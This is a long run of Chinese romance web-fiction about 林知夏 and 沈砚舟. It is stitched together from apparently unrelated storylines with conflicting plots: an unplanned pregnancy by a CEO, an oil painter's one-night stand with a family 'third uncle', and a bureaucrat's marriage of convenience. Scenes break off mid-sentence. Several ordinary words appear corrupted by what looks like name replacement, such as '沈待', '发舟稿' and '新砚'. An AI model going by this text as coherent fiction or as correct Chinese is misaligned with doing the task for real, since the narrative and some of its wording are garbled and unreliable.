“吹了那么久的冷风,喝点热乎的暖一暖。” 见林知夏没接,男人又挑了一下唇角,“加了糖的。” 林知夏微微回过神,赶紧伸手接过来。 “谢谢……沈总。” 她心里微微有一种不自然感,这真的是一个人吗? 外界传闻冷漠狠厉的沈总,在她面前却显得格外温和,甚至会给她道歉,热牛奶。 在林知夏出神的时候,沈砚舟在一侧坐下来,状似不经意的发问,“今晚怎么一个人走在那么荒僻的地方?” 门口跑进来一个人,正是刚刚那个前台,此刻对着林知夏,俨然换了一副面孔,“终于找到您了。” 林知夏淡淡,“有事?” 前台脸上堆着笑,“您是中暑了吗?刚刚看您脸色实在不好,怕您出了什么意外,不如去休息室坐一会儿。” 林知夏抬眸看了她一眼,“我不是会员。” 前台面色一变,笑意险些挂不住,“没关系的,特殊情况特殊处理嘛。” 林知夏垂了一下睫毛,“不麻烦了,我已经好多了,现在要去找我同事了。” 她擦干净手上的水,抬脚便离开了。 “林小姐,林小姐——” 林知夏略微能猜到,也许是高成帮了她,但她并不想欠这个人情,她与沈砚舟都没什么关系了,更遑论高成。 走出去没多久就碰到过来找她的张文。 “你怎么样?还难受吗?” 林知夏笑笑,“好多了。” “行,那我们直接回公司吧。” 张文回头看了一眼茵绿的草地,满眼艳羡,“什么时候,咱们也能在这儿潇洒的打球,而不是做跑腿的小工。” 说着,他又压低声音,“我刚刚听说,沈总今天也来了这儿。” 林知夏眼皮一跳,“沈总?” “沈砚舟,你不会不知道吧。”张文夸张的比了个手势,“听说他的资产换成现金能填满一整个城堡。” 林知夏重心偏移,“嗯?咱们这儿有城堡?” 张文,“……” 他摸了一下鼻子,“其实是沈总也算是咱们的老板。晶城是沈氏控股的企业,修仙小说你看过没,如果说沈氏总部是内门弟子,咱们就属于外门的扫地僧。” 张文喋喋不休的说着,并没有注意到林知夏猛然顿住的脚步。 这件事…… 她还真不知道。 林知夏在心底想。林知夏捏着报告单子,一张小脸上一丝血色都没有。 “孕期三周半,现在有妊娠反应吗?” 林知夏咬着唇点点头,又飞快的问,“我今天摔了一跤,会对孩子有影响吗?” “从报告上看没什么事,不过以后还是小心一点,你现在月份小,处处都得注意。” 护士看了一眼林知夏脚上的伤口,“别再这么毛毛躁躁的了,都要当妈妈的人了,孩子爸爸呢?还有一些孕期的注意事项要嘱咐一下。” 听到这句话,林知夏抿了一下唇,有些不自在的垂下睫毛,“只有我自己。” 护士变了一下脸色,上下看了一遍林知夏,犹疑的问,“这个孩子你确定要吗?” 林知夏沉默了两秒,没说话,把报告单塞进了包里。 “麻烦了,有什么注意事项,直接跟我说就可以。” 从医院出来,外面淅淅沥沥的下了雨,天已经彻底黑了,霓虹灯渐渐亮起。 不过一天的时间,却已经发生了这么多事。 她被骗回林家关起来,惊险逃脱,本来是去医院包扎,却意外发现怀孕了…… 林知夏的手轻轻抚在小腹上。 不可否认的,在知道怀孕的那一瞬间,林知夏犹豫了。 从某种理智的角度来说,她其实不该留下这个孩子,她才刚刚毕业,要钱没钱,又正被林家逼着商业联姻,焦头烂额,她根本没能力养活这个孩子。 可是在听见护士问她是否要留下孩子的时候,她下意识就要点头。 那一刻,她心里清楚。 她是想要这个孩子的。 林知夏从小在福利院长大,从来没有过亲人,后来被找回林家,感受到的却只有冷漠与沈待。 而现在,她正在孕育一个新的生命。 这个孩子与她血脉相连,是她的亲人。 她真正意义上的家人。 林知夏不是优柔寡断的人,作出决定只需要一瞬。 然而,既然决定了要养孩子,没钱怎么办? 她猛然想到了那天被她毫不犹豫拒绝的支票,一串零跃然纸上。 林知夏没打算找沈砚舟负责。 不过好歹也是作为孩子的生物学父亲,赞助她一点抚养费总合情合理吧。 林知夏翻了翻包,片刻后,指尖夹着那张被揉搓的皱皱巴巴的名片。 隔了几秒,林知夏的思绪又飘到沈砚舟腿上到底有几块肌肉这个问题上来。 “咚咚——”男人屈指敲了一下桌子。 “林知夏,你在听吗?” 林知夏猛的回过神,赶紧挺起背,“听,听着呢。” 沈砚舟点了一下屏幕,“我刚刚说,这里怎么改?” 林知夏,“……” 沈砚舟声音淡淡,“上课开小差,怎么罚你?” 林知夏臊的脸有点红,小声讨饶,“我错了,我一定认真听。” 沈砚舟顿了一下,问她,“从哪里重新开始。” 林知夏哼哼唧唧的。 “从头——” 像这种基础的策划方案,平时根本不会递到沈砚舟的手边,甚至在下属送过来有误的方案时,男人压根不会指出错误,只会扔回去让他们重做。 在他看来,他是花薪水请人来工作的,不是来帮助别人提升水平的。 可今天,一份简单到极致的策划案,沈砚舟带着林知夏从头到尾讲了两三遍,还让林知夏自己重新写了一个,他又捡其中的不足补充了一下。 一直到晚上才结束工作。 林知夏有点不太好意思,凑过去跟沈砚舟小声道谢。 沈砚舟皱了一下眉,“你不要这么客气的跟我讲话。” 林知夏讷讷。 沈砚舟心里叹气,觉得一时跟她也说不通,转而问她最近感觉怎么样。 林知夏认认真真的回答,“这几天都没有孕反,腰也没有痛,没什么感觉。” 她甚至很多时候都会忘了肚子里揣着个宝宝。 沈砚舟点了点头,目光一直停在林知夏的小腹上。 见状,林知夏犹豫了一下,问沈砚舟要不要摸一下。 沈砚舟怔了一下,随即“嗯”了一声。 林知夏本来想站起来,却被沈砚舟按着坐在椅子上,而男人在她面前半跪下来,微微探身,一手贴在少女的小腹上,又微微侧耳覆上。 林知夏小声嘀咕,“月份小,也摸不到什么。” “不,能摸到的。” 沈砚舟声音很轻。 “它很小,很乖,所以不会闹妈妈的。” 也许是男人语气太真诚,林知夏忍不住也有点信了。 她跟着还点点头,“那挺好,最好一直这么乖。” 沈砚舟眼底笑意盈盈。 男人身上那优雅的沉木香气萦绕于在她的鼻息之间,无声地入侵着她的呼吸。 半晌,林知夏面上挤出一抹恭敬乖巧的笑。 “三叔好巧啊……”她僵着声音道。 话音刚说出口,林知夏便回过神来了。为了照顾这位华人先生的胃,那位法国厨子特地同时准备了中餐和西餐。精致小量地摆盘在瓷器中,瓷器旁是新鲜采摘的蓝色鸢尾花。在暖黄色的灯光下,极具有氛围感。 林知夏切了一块牛排细细咀嚼,余光扫过男人。车子启动。 双方一路无话,仿佛什么事都没有发生过。 曾经彼此间所缠绕的暧昧如烟花般消散,只留下淡淡的寂寥与疏离。 林知夏偏头去着窗外飞快掠去的景色,努力不将注意力放在身侧男人身上。 车子一路平稳行驶,两个人都很安静。 仅有悠扬的巴赫在车内缓缓流淌,填补着两人之间的疏离与陌然。 越是这样,越是让林知夏觉得不自在。 但好在,这段相处的时间并不长。 半个多小时后,他们就达到了目的地。 林知夏低头,细白的手指解开安全带。 她下了车,正要告别,却听男人慢条斯理的声音响起:“对了,关于昨晚你所说的当模特的提议……” 林知夏眼睫动了动,朝他看过去。 男人一手握着方向盘,脸上挂着温雅的浅笑。 南法明媚的阳光落在他身上,宛若一支无形而灵动的笔,勾勒出令所有艺术家心动神驰的挺立轮廓。 很容易让人陷进去。 哪怕多看一秒,都足以动摇人心。 她别开脸,压下内心的浮躁:“还、还是算了吧。” 沈砚舟淡淡“嗯”了声,笑容不变:“如果你想继续的话,随时都可以与我联系。” 他这话说的意味不明,一时间林知夏分不清他所说的究竟是何种含义。 不过她心里已经下定决心要了断俩人的关系,自然不会再和他有联系。 她点点头,笑容礼貌疏离:“好的,沈先生,那拜拜了。” 餐厅内十分安静,只有餐叉碰撞的声音。 男人漫不经心地品着佐餐酒的,握着红酒杯的手指修长而干净,落着层红色酒光,好看得像是艺术品。 林知夏下意识地盯着他的手看。 “想尝?”男人察觉到林知夏的目光,开口打破了一室寂静。 林知夏轻声:“可以吗?”刚回国的这几天,林知夏艰难地在家倒时差。 除了在老爷子的安排下,和沈淮安见过几次面,她哪里也没去。 闲来无事之际,她便搬出自己的画架,绷画布、调颜料作画。 可能是最近的烦心事太多,影响了创作欲,导致她画什么都没有感觉。 这天吃早饭时,客厅的电视里播放着早间新砚,林知夏打了个哈欠,咬了一口包子。 因为今天是沈淮安爷爷的生日宴,她今天任务繁忙,下午四点的时候还要去Luna工作室做造型。 看她吃得差不多,林老爷子笑眯眯地说一句:“外公身体不太舒服,今天不能和你一起去沈家了,就让淮安陪你一起去吧。” 林知夏看着精神头比前段日子足的外公,一时间拿捏不准外公究竟是真的身体不舒服,还是想要强行撮合她和沈淮安。 她对沈淮安没感觉,也不想与他订婚交往。 但外公对于这这件事很上心,也执拗得很。 老爷子本就身体不好,她怕自己抗拒得太厉害,会真的把老爷子气进医院,只好面上顺着他,应和着他。 算了,还是找个恰当的时机和沈淮安好好谈一下“退婚”的事吧。 林老爷子全然不知道林知夏的小心思,还在絮絮叨叨地嘱咐着:“对了,你那位沈三叔前不久也回国了,这次在沈家家宴上你就能见到了。” 林知夏:“沈三叔?” 她从未见过这位沈家三叔。 况且她出国多年,一心专注油画,不太关注国内豪门圈子中的这些事。 所以,她虽然知道沈家三叔这个人,但也只是知道对方是沈家爷爷的小儿子,是沈淮安的三叔,更多的事情便不曾了解了。 “那是你沈爷爷的老来子,也是我的忘年交……唔,你没见过也正常,他几年前就已经出国了,就算出国前也一直深居简出。 他现在是沈家的掌家人,为人端正谦和,是块人物。你到时候见了他,得叫他一声三叔。” 对于那位沈家三叔,林老爷子简直是赞不绝口。林知夏还是第一次见自家老爷子用这般欣赏的语气谈起一个人,可见这人不一般。 林老爷子说:“你这次去沈家,记得给他准备一份见面礼,将来也好让他在沈家照顾你。要是钱不够,就跟外公说。” 林知夏乖乖答应。 “但我不太知道沈叔叔喜欢什么。”林知夏问。 林老爷子:“他喜欢收藏古董名画,夏夏不妨送一幅画吧。” 毕竟她这是去见长辈,还是一位外公耳提面命要求郑重对待的长辈,送的礼物须得彰显出做晚辈的恭敬才行。 林知夏在画室里选了很久,这才终于选中了一幅掐丝珐琅财神画—— 《招财进宝·八方来财》。 寓意好,有诚意,送三叔这样的商业大佬再合适不过了。 “到喝酒年纪了吗?”男人揶揄。 林知夏杏眼瞪圆,腮帮子鼓起来,表情生动鲜活,“我已经大学毕业了。” “看来是我误会了。”沈砚舟喉间溢出了声低笑,眼尾微微上扬,整个人倏然间带着几分漫不经心,落在她身上的视线也带着几分缱绻。 像是被烫到了般,林知夏面颊发热。 她看着他站起身,端着酒杯,不紧不慢地走到她面前,将手中红酒杯送到她的唇边,嗓音低沉惑人:“向你赔罪。” 林知夏伸手去接,但男人却避开她的动作,重新将杯子递到她唇边。 林知夏呼吸一滞,心脏跳得飞快。 这是要让她就这他的手喝的意思? 可她从未和异性这般亲密过…… 空气很燥、很热。 似是有什么若有似无的东西被点燃,连带着她裸露在外的肌肤都莫名地燥了起来。 少女低垂着眼睫,耳尖凝聚着动人的酡红。 她垂着细细的颈,就着男人的手,小口小口地去尝那杯中的红酒,红唇在红酒的滋润下越来越水润,像是沾了水露的玫瑰花瓣,看得男人的目光越发深邃。 林知夏浅浅地尝了几下男人杯中的酒,一抬头,对上男人灼人的目光。 “我,不想喝了。”林知夏摇摇头。 就见男人端着那酒,唇附上她的唇印,仰头,喉结轻滚间,那杯红酒见了底。 轰! 林知夏不自觉地吞咽了下,她慌张地站起身,后退一步,拉开了与男人之间的距离。 “我吃饱了。”林知夏说。 可话虽这么说,她并未抬腿上楼,而是犹豫地站在原地,看着他,等待着他的反应。 无形的暧昧在沉默中发酵着。 对方并未回复,目光幽邃,如有实质地锁在她身上。 林知夏只感觉脸上掀起滚滚热浪,她不自然地移开视线,小声开口:“你……不回房间吗?” 她的酒量一贯不好,才喝了几口,脑袋里就有些晕晕乎乎的,此刻看向沈砚舟的杏眼也带着一种湿润的朦胧感。 沈砚舟眸色渐沉,眼底敛着浓浓的晦暗。 他朝着她走去,将距离再度缩减到暧昧旖旎的范围。 沈砚舟慢条斯理地笑起,声线低沉,带着细微的颗粒感,听得人耳根发热。 “这要看你的想法。” 巧?巧个鬼! 林知夏恨不得打死在这个时候讨巧卖乖的自己。 气氛陷入凝滞。 沈砚舟眼神不变,视线在那颗小红痣上极快地掠过,唇角勾起云淡风轻的弧度。 他从容地抬起手,拾起地上那枚打火机。温热指尖在不经意间擦过她的柔软细嫩手指,带起微小酥麻的电流。 林知夏睫毛轻轻颤了下。 但很快,下一秒,那温热便很快收拢。 彼此间的触碰转瞬即逝。 沈砚舟从容地直起身子,表情八风不动,仿佛无事发生。 林知夏这才回过神,亦是坐起身,坐着凳子也悄悄地朝着远离他的方向挪了挪。 沈砚舟微微侧头,目光再次落在身边的少女身上,划过少女颤动的睫毛、泛红的面颊……指腹漫不经心地摩挲了下打火机。 他眉梢微动,声线低醇慵懒:“谢谢小姑娘。” 林知夏垂眸,纤细的手指悄然揪紧:“不客气三叔。” 一旁的阔太注意到林知夏脸上的绯红,调侃道:“哎呦一提到淮安,夏夏都不好意思了呢。就不知道你们什么时候打算订婚呢?” 这是沈家生日宴,林知夏不太好拂沈老爷子面子,只能小声抗议:“我觉得订婚还远,万一我们合不来……” “感情这事都是需要磨合的,总有合得来的一天,你们还年轻,不打紧。” 祁琳说着说着话题落在沈砚舟身上,试探道:“不过话说回来,三弟啊,淮安都快要结婚了,你什么时候也给爸带来一个媳妇啊?” 祁琳心里打着小算盘,如果沈砚舟还没有中意的人,那正好她可以将她的侄女介绍给他。 沈砚舟修长手指漫不经心地把玩着打火机,笑意疏淡。 “不急,总会有那一天的。” 宴会进行到一半的时候,沈淮安匆匆回来,身上换了一件亚浅灰色外套。 沈老爷子瞪了一眼沈淮安,语气不善:“干什么去了?” 沈淮安看了一眼坐在老爷子身边的林知夏,尴尬地笑笑,“被一些事情缠住了。” 因着林知夏坐在沈老爷子身边,沈淮安也不能让自己的三叔腾地,丧气地只能回到自己座位上坐着。 沈砚舟视线漫不经心地落在沈淮安的西装外套上,声音不带有一丝情绪,“外套换了?” 面对这些沈家小辈时,沈砚舟周身带着一种属于长辈的威严感。 仅仅是一眼,像是看透了沈淮安一般,瞬间让他绷起神经,头皮发麻。 沈淮安目光闪烁,不敢直视沈砚舟:“刚刚不小心把酒洒在身上,就去休息室换了……” 沈砚舟淡淡地“嗯”了声,没有继续深究。 沈淮安又看了眼埋头苦吃林知夏,惴惴不安的心终是落回原处。 她的杏眼愉悦地弯起,连带着眼睑下的小红痣都散发着甜美的气息。 沈砚舟的视线扫过那粒小痣,喉结微微滚动,手指有搭没搭地碰着手中的咖啡杯。 直至林知夏吃完早餐,正待犹豫着该如何和他道别时,就听对方的声音响起。 “吃饱了吗?”回到旅店后,林知夏脱下衣服,走进浴室。 浴室镜子清晰地倒映出少女的身形,那瓷白的肌肤上落着点点暧昧的吻痕。 林知夏不敢多看,匆匆洗完澡,便躺到床上睡回笼觉。 昨日睡下得太晚,导致林知夏现在身体又酸又困倦,一挨着枕头,就立刻睡着了。 一直睡到下午五点,醒来后林知夏拿过手机,就看到蒋芙发来的一连串消息,询问她现在情况如何。 林知夏将今早发生的事情告诉蒋芙,在看完前因后果后,蒋芙发来消息: 蒋芙:【听起来你对那个男人还挺有感觉的,为什么不一直睡下去?】 蒋芙:【而且你都说了他是你最梦寐以求的模特,这可是让他给你当长期裸模的好机会啊。】 林知夏眼前不由地浮现出男人的脸,微微晃神。 其实在男人点出两人之间的关系时,她是有些动摇的。 毕竟在此之前,她还从未碰见比他还要完美的模特,严丝合缝地契合着她的审美。 更何况,她昨晚还亲自验证过,他的人体很完美,很有力量……让她无法抑制那种想要创作的欲望。 但很快,林知夏的理智便占了上风。 她意识到,对她而言这个男人实在是太有蛊惑力了。 这并不是一件好事。 她怕自己最终会深陷感情的漩涡,无法自拔。 还不如当断则断,免受其乱。 林知夏懒懒地在床上翻了个身,给蒋芙发消息:【我觉得现在这样互不相干、各奔西东的状态就挺不错的,没必要再继续纠缠不休。就把它当做是一场美好浪漫的露水情缘好了。】 正说着,微信传来好友提示。 [Desenlace:我通过你的朋友验证请求,现在我们可以开始聊天了]① 沈砚舟通过了她的好友申请。 在她离开那家咖啡馆后,便添加了沈砚舟的微信。 只不过阴差阳错,速写丢失,两人又度过了那样的一个夜晚。 沈砚舟的头像是一幅油画——Ivan Aivazovsky的《夜间黑海》。 皎白月光下极致宁静的海面,却又带着一种极致危险的张力。 林知夏看着屏幕上的微信头像微微失神。 犹豫了一会后,最终林知夏还是伸出手指在屏幕上轻点,删除了对方的好友账号,将手机随手扔在一边。 估计他们以后,也不会再见面了吧…… 这样就挺好的。 既然下定决心要分开,还是不要与他有太多的关联吧。 她又在床上赖了一会,直到肚子有些饿,这才从床上坐起身,准备去酒店楼下餐厅吃饭。 手机铃声在这时响起,来电人是外公的管家。 林知夏点点头。 “那现在来聊聊我们之间的关系。” 沈砚舟语调慢条斯理,身体前倾,双手交握。这个姿势显得他压迫感十足。 林知夏:??? 她眨巴眨巴眼,一时间有些不明白他们之间有什么关系可聊。 男人幽邃深沉的眸子凝着她,沉缓开口:“我不会轻易和别人上床。” 林知夏终于反应过来。 淦哦!他不会是还想继续睡她吧?! 可就算他想,她也不想继续和他纠缠下去了。 毕竟她只是色迷心窍地想睡一下他,而不是长久地睡下去。 但显然眼前的男人所想要的和她所想的截然不同。 “您放心,我不会继续纠缠你的。”她故意曲解着男人的意思。 男人唇角弧度微敛,若有所思地看着她。 林知夏尽力稳着呼吸,故作从容道:“一夜情后互不相干、好聚好散也算是成年人间的一种共识了,这点我清楚,你大可放心。” 毕竟如果双方真的产生纠葛,发展出感情来那可是很麻烦。如果可以林知夏还是想尽可能避免这种不可控的后患。 气氛一时间有些凝滞。 男人不作回应,目光是沉甸甸的,似烙印般落在她身上。 林知夏莫名地感觉心虚。 她放缓呼吸,垂眼盯着桌子。 面对少女的回避,沈砚舟镜片下的眸色越发深暗。 半晌,他淡淡道:“好,我知道了。” 说这话时,他的表情依旧是平淡温和,毫无波澜,让人看不透他的想法态度。 也不知道他这是同意,还是不同意…… 不过他看着也不像是会在她具体地表明态度后继续纠缠的人。 这么想着,林知夏放松下来,抬手将碎发勾到耳后。 “那就这样……时间差不多了,我也该回去了。” 男人站起身,不紧不慢地走到林知夏面前,缓缓道:“这个地方打车不方便。我送你回去。” 他的语气温和却不容置喙。被通知可以提前下班,林知夏和林洁兴冲冲的去领班那里领了工资,又结伴一起回学校。 林洁叹气,“就要毕业了,还要出去找房子,廉价的宿舍再也住不到了。真羡慕你啊,家就是本市的,没有这个烦恼。” 林知夏淡淡开口,“我应该也会出去住。” 要是每天都住在林家,烦也烦死了。 林洁知道林知夏跟家里关系一般,点点头也没多问,转而说起工作的事,“我昨天投了晶城公司,但是现在还没有回复呢。你怎么样?” 林知夏挑了一下眉头,“这么巧,我也投了这家。” 林洁笑嘻嘻的,“那祝我们还可以继续做同事!” 林知夏平时性格比较淡,林洁是室友里唯一一个跟她关系不错的,这也多亏了两个人平时总在一起做兼职。 “对了,今天领班叫你出去说什么了?” 林知夏眉头一跳,“没事,就是让我好好站着,别偷懒。” 林洁点点头,很快被学校对面的小吃摊吸引了目光。 “啊,烤串,我要吃。” 林知夏没有什么胃口,站在一边等着林洁,她打开手机随便翻了翻,韩玫今天给她发了很多条信息,都是呵斥她的话。 有时候林知夏真的觉得很可笑。 她回来后,一直听父亲,弟弟说什么当年母亲在她走丢后是多痛苦,多么彻夜难眠,后来收养了林月才好一些,说母亲如何如何爱她。 可林知夏感受不到。 既然爱她,又为什么要一次次往她心上捅刀子。既然爱她,又为什么要沈待她,厚待林月。 屏幕上,最后一条信息是五分钟之前发过来的,让她明天回老宅吃饭。 林知夏定睛看了两秒,然后面无表情的按灭手机,放回了衣兜里。 与此同时,林知夏的所有资料也递到了沈砚舟的手上。 林家? 沈砚舟皱了一下眉,思索一瞬,并没有什么印象。 应当是不入流的二流企业,连名字都不配在他面前提起。 沈砚舟做事要求严,力求完美,就连送到他手上的资料也是,详细的纪录了林知夏何时丢失,何时找回,在哪所福利院生活,如今又就读于哪所大学。 男人淡淡的翻看了两页,又把目光落在了亮起的电脑屏幕上。 林知夏犹豫了一下,“你要亲自送我?” “我不至于连送你的资格都没有吧?”男人似笑非笑地挑了下眉。 林知夏红了耳朵,默默地答应了。 她跟着他向着楼梯口走去。 林知夏低头点着语音翻译按钮,不小心手一滑,蒋芙激动兴奋的尖叫声从播音器中跳出来。 “我知道我知道,什么都不会发生的!那就祝你和这位好好绅士有一个美好的夜晚咯……” 林知夏心脏都快要炸了,飞快暂停语音播放。 但该听的和不该听到的,对方都已经听完了。 沈砚舟停住脚步,回过头,深邃的目光与她对视。 走廊内分外安静,两人谁都没有先开口说话。 气氛在瞬间微妙暧昧起来。 林知夏抿了下唇,垂在身侧的手轻轻捏着裙角。 她现在羞耻心爆炸,窘迫得恨不得整个人都钻进地缝中。 “你怎么不走了呀?”林知夏故作镇定地冲他甜笑了下,似是刚刚什么事都没有发生般。 “嗯,”沈砚舟面无波澜,淡声道:“小心台阶。” 林知夏乖巧地点点头,低着头,跟在男人身后。 她低着头,视线里只有男人那笔挺的裤脚,心里像是揣了一万只暴走的兔子,正在“砰砰”“砰砰”地狂跳不停。 完蛋,糗大了。 这种语音怎么能被他听见!!! 他会在心里怎么想她啊!!! 这般想着,林知夏终是忍不住抬眼,偷偷地朝着身侧瞟了一眼。 男人侧颜深刻,薄唇抿成平直的线。 不过他这种反应,应该也是不想让她尴尬吧…… 林知夏重新垂下小脑袋,心中默默地想着—— 他可真是位好好绅士啊。 林知夏沉浸在自己的小心思里,也就全然没有注意到身侧的男人的动作。 沈砚舟半垂着眼看向她,唇角扬起似有若无的弧度。 第 83 章 第八十三章 “哥,各单位陆续报名单过来了,我到时候汇总给你。”楚越杰把接收到的信息做好记录。 沈砚舟不甚在意,“嗯。” “那我先写开放日的发舟材料。”楚越杰点开文档,怕沈砚舟觉得自己写的速度慢,找补一句,“上周他们各处室才把资料发给我。” “别写了。” “啊?”楚越杰惊讶,随即便在电脑上收到沈砚舟发来的文件。 他点开,正是发舟稿。 “哥,你什么时候写的?”楚越杰蹭地站起来,跑到沈砚舟桌前,笑呵呵的。 沈砚舟瞥他一眼,“周末。” “周末?”楚越杰拔高声音,不大信。 “嗯,周末没事做。”沈砚舟面上风轻云淡。 “好吧。”楚越杰摸了摸后脑。 周末没事就加班,这样的事情以后多来点。 楚越杰回自己位置上,点开文档从头仔细看了一遍,转过身来,“哥,你出手就是不一样。” 沈砚舟眼都没抬一下,“少来。” 下午,沈砚舟发来消息问她什么时候下班。 林知夏不好让别人久等,早早处理完工作,回复他按时下班,在咖啡店路口等他。 她其实是怕下班时间点,在单位碰到认识的同事不好解释。 林知夏下班后就往路口走,西边太阳火红,室外燥热难耐,她赶紧跑到咖啡店里躲太阳。 前台小妹见她进来,问她下班还来杯咖啡吗。 林知夏说来吹吹空调,前台小妹让她随意坐。 沈砚舟车要到的时候给林知夏发消息,林知夏和前台小妹打了声招呼就走。 前台小妹看她匆匆出门去,在路边上了一辆黑色轿车,顿觉奇怪,林知夏何时下班来过咖啡店,似乎是在等什么人。 可能就是那辆车。“你放心,我一个人,我妈没住一起。”沈砚舟说明情况,减少一点她的顾虑犹豫。丽指着电脑屏幕上的某个镜头,“这个画面有点敏感,我的建议是最好不用。” 林知夏拉过椅子坐下,目不转睛地看着屏幕思考,几秒钟的画面反反复复看了几遍,最后给出她的结论,“这几个镜头比较直观,保留下来更有说服力。” 她偏头,目光落在李丽身上,等她开口。 崔敏和赵蔓也同时看向李丽,毕竟李丽在这方面有丰富经验,结果却是意见没被采纳。 气氛变得微妙起来。林知夏被水呛了一下。林知夏胸口还在微微喘着气,刚才从停车场来大厅的路上走得急,额头上沁着细细的汗珠,她需要补个妆。 “我去趟洗手间。” 沈砚舟点头。 林知夏对着洗手间里的镜子,仔仔细细地把衣服和头发打理好,再重新补好妆,满意地离开。 出来时,碰到从对面洗手间出来的沈砚舟。 两人皆是一顿。 林知夏疑惑地看着他,如果她没记错的话,刚才他是穿着西装外套的,还系了根深色领带。现在西装外套和领带一起搭在他的手肘间,身上只穿了件白衬衣,领口的扣子也解开了。 他为什么突然脱衣服,大厅里很热吗,明明冷气开得这么低。 沈砚舟对上她的目光,而后看了眼她的衣服,像是在解答她询问的眼神。 林知夏恍然明白。 忽然达成某种默契,林知夏顿觉尴尬,别开视线往外走。 沈砚舟跟在她后面保持不远不近的距离。他看的出来林知夏也是打扮过的,她刚刚来的时候嘴巴上的口红颜色不均匀,从洗手间出来后口红补过色。 她似乎钟爱这样的打扮,第一次见面时是白衬衣配黑色西装裤,干净利落,强烈的冷艳感,今天杏色的长裤倒显得夏和几分。 她身上那件白衬衣不是一板一眼很正式的款式,有小设计,沈砚舟不知道她是不是为了拍结婚证照特意选的衣服。 但他是这样做的,今天出门前换了一身新衣服,很正式的西装打扮,像是要去赴一场高规格会议,头发更是精心打理,到单位上班同事们都啧啧称赞,他对自己这身打扮也很满意。现在嘛,好在里面的白衬衣勉强能搭上。 到大厅等候叫号,等待的间隙,两人在准备材料。 沈砚舟递来一份类似文件的东西给到林知夏,“我的婚检报告。” 虽然现在结婚不强制婚检,林知夏没想到沈砚舟居然主动去做检查。 她接过,快速地翻看两页假装做做样子,她其实不太想知道他的婚检情况。 他只是她的婚姻搭子,两个人怎么会发展到需要有肌肤接触的那一步呢?完全没必要。 林知夏没有表现出内心想法,而是略表歉意,“不好意思,我没做,如果你需要我的健康报告,我到时候给你。” 沈砚舟点了下头,没说到底要不要,转而问,“戒指呢?” “在包里。”林知夏没忘,早上出门时还检查过是否装进包里。 她拿出来没急着戴,目光移向他的手上,发现他无名指上已经戴好戒指。 沈砚舟无声注视着她。 叶彤眨两下眼,给以一个肯定的眼神,“真的,能有这一个毛病都算好的了,就怕心理问题更吓人,比如狂躁症什么的。” 林知夏放下水杯,陷入沉思。应该还没有人刚领完结婚证就在民政局门口谈论离婚的事情。 沈砚舟忽然有点后悔,为什么要在大门口问出那句话。 他看着眼前的女人,想要在她这张冷艳绝美的脸上找出一点其他情绪,哪怕一丝尴尬或是一点窘迫,也好过她此刻一脸的坦荡,把她想要离婚的心思全然写在脸上。 “不需要。”林知夏毫不犹豫地回绝。 虽然她和沈砚舟的社交圈没有交集,公不公开看似都一样。她心里还是不愿更多的人知道她们的婚姻关系。 她结这个婚是给家里人看的,不是给其他人看的。 “好。”沈砚舟对于她的回答一点不意外,面色无澜地说,“不过,我需要向单位报备我的婚姻情况。” 林知夏愣了下才反应过来,他这个级别确实需要向组织报告。 她点头表示理解,“好。” 两人没再多舟,各自去取车。 刚好车停在相反的方向,两人头也不回地走了,颇有点分道扬镳的意思,更像是来办理离婚手续的。 林知夏晚上约了朋友叶彤吃饭,她之前和叶彤透露过要结婚的事。 当她把结婚证拿出来时,叶彤还是震惊地瞪大双眼,满脸的不可置信。 叶彤拿过林知夏的结婚证边摸边看,眼睛里带着些许怀疑,像是在鉴定古董真迹。 当她打开结婚证时,民政局鲜红的章和证件照上戳的钢印,无不在告诉她手里的结婚证千真万确。 “小夏,你还真和一个陌生人结婚啦。”叶彤撇着嘴,不太愿意接受这个事实。 “嗯。”林知夏淡定点头,看着叶彤耷拉张脸,比她这个当事人的反应还要强烈。 “那个男人大你几岁来着,有30了吧。”叶彤边说边在结婚证上找信息,看到沈砚舟的生日,惊叹道,“我去,大你5岁,都不是90后,张阿姨怎么看上的,就不怕你们有代沟?” “公务员。”林知夏给了个最官方的答案。 “体制内啊。”叶彤一副了然的表情,好像早已料到。 林知夏是这样的家庭,体制内确实是首选。 叶彤接着问,“公务员的话,他现在什么级别?” 这个年林如果还只是个平平无奇的科员,不是混吃等死就是能力有限,这样差劲的男人配不上她的好姐妹。 叶彤说得不无道理,社会复杂多变,人人带着面具生活,致力于立人设。也许藏在精致面具下的是一副丑陋的面孔,身体里住的是一具肮脏的灵魂。 沈砚舟是表里不一的人吗? 林知夏愣怔一瞬,拉回思绪。 她想这些做什么,她和他不会深交,她没必要知道他是怎样的人,只需各自扮演好自己的角色就行。 叶彤眸光忽闪,灵机一动,“不过话说回来,他们这种体制内完全是我们的优质客户啊。” 林知夏顿觉不妙。 果然,下一秒叶彤就双手合十眨巴着眼睛看着她,笑嘻嘻地说,“我今年的贷款任务还差得远呢,要不你给我推荐推荐,帮我做个业绩。” 叶彤在银行做信贷。 李丽对林知夏点了下头,而后扯着嘴角,对另外两人说,“听林主任的,赵蔓,你删掉吧。” 这声称呼让林知夏微微皱了下眉,想说不用这样称呼她,喉咙却像是卡住,说出口只会让气氛更尴尬,索性忽略掉。 她敛起情绪,淡淡道,“继续吧。” 中途有几处修改的地方,林知夏也有听取李丽的意见,她工作上就事论事,只是同事们总觉得她和李丽在暗里较劲,根本没这回事。 等赵蔓处理的工夫,林知夏得空看了眼手机,这才发现十几分钟前沈砚舟发来消息,问她加班宵夜有想吃的吗,他一并带过来。 林知夏心重重一跳,生怕沈砚舟神不知鬼不觉拎着宵夜找到她办公室来怎么办,还有其他人在呢,到时她该如何解释沈砚舟和她的关系。 于是,赶紧给他发消息:【在停车场等我就行,我忙完联系你】 她的意思很明显:你不要到楼上来,我没联系你,你不要联系我。 沈砚舟无语,这谁想出来的玩意儿?他被迫同框,就差相机“咔嚓”一声打卡。 他现在就在南城广播电视台,想谁? 沈砚舟冷下脸,远离此处。 夜色像是浸在墨里不断加深,暑气并未消散,沈砚舟走了一圈热得满头大汗,最后躲进车里开着冷气等林知夏。 林知夏也不知道沈砚舟等了多久,再次联系他的时候,他只说已经在停车场。 她先把同事们送走,叮嘱她们回家后给她报个平安。把人送走后,怕间隔时间太短下楼撞见同事,她又磨蹭了些时间,才去沈砚舟停车的位置找他。 沈砚舟已经从车里出来,站在车前等着。 林知夏走过去却没有要上车的意思,似乎是有话要讲。 沈砚舟以为林知夏临时反悔不愿跟他走。 他人都来了,怎么可能放她走。 正试图开口挽留,林知夏却说,“我也开了车,要不你在前面带路,我在后面跟着你。” 原来不是不想跟他走,沈砚舟心里松一口气,说话的语调也跟着软下来,“走吧,就开一辆车。” 